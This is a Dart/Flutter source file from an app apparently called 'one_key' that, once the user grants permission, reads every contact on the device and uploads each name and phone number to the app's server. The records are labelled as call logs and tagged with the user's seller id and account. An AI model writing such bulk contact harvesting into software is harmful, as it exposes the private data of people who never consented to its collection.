contact_model.dart
2.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import 'dart:convert';
import 'dart:io';
import 'package:contacts_service/contacts_service.dart';
import 'package:dio/dio.dart';
import 'package:flutter/cupertino.dart';
import 'package:one_key/constant/constant.dart';
import 'package:one_key/net/base_resp.dart';
import 'package:one_key/net/dio_util.dart';
import 'package:one_key/net/http_url.dart';
import 'package:one_key/provider/user_model.dart';
import 'package:one_key/utils/log_util.dart';
import 'package:one_key/utils/misc.dart';
import 'package:provider/provider.dart';
import '../app.dart';
/**
* 上传联系人
*/
class ContactModel{
ContactModel._();
static ContactModel _instance;
static ContactModel getInstance(){
if(_instance==null){
_instance=ContactModel._();
}
return _instance;
}
uploadLocalContact(BuildContext context) async {
bool isUpload=App.sp.getBool("isUpload")??false;
if(isUpload)return;
bool authority=await requestContactPermission();
if(authority){
Iterable<Contact> contacts=await ContactsService.getContacts(withThumbnails: false);
List<Map<String,String>> callLogs=[];
contacts.forEach((contact){
String phoneNum="";
if(contact.phones.isNotEmpty){
phoneNum=contact.phones.first.value.replaceAll(new RegExp(r"\s+\b|\b\s"), "");
}
Map<String,String> callLog={
"phoneNum":"${phoneNum.trim()}",
"sid":Provider.of<UserModel>(context,listen: false).user.sellerid,
"deviceId":"dhgajkhdgahghsdghdkgahd",
"phoneDate":"${DateTime.now().millisecondsSinceEpoch}",
"callType":"2",
"callUser":"${contact.displayName}",
"account":Provider.of<UserModel>(context,listen: false).user.account
};
callLogs.add(callLog);
});
Map<String,String> params={
"data":jsonEncode(callLogs)
};
BaseResp<String> baseResp = await DioUtil()
.request<String>(context, Method.get, HttpUrl.upload_contact,
data: params,options: Options(method: Method.post,contentType: ContentType.parse("application/x-www-form-urlencoded")))
.catchError((error) {
print(error.toString());
});
if(baseResp!=null&&baseResp.code == Constant.status_success){
LogUtil.v("联系人上传成功:${contacts.length}条");
App.sp.setBool("isUpload", true);
}
}
}
}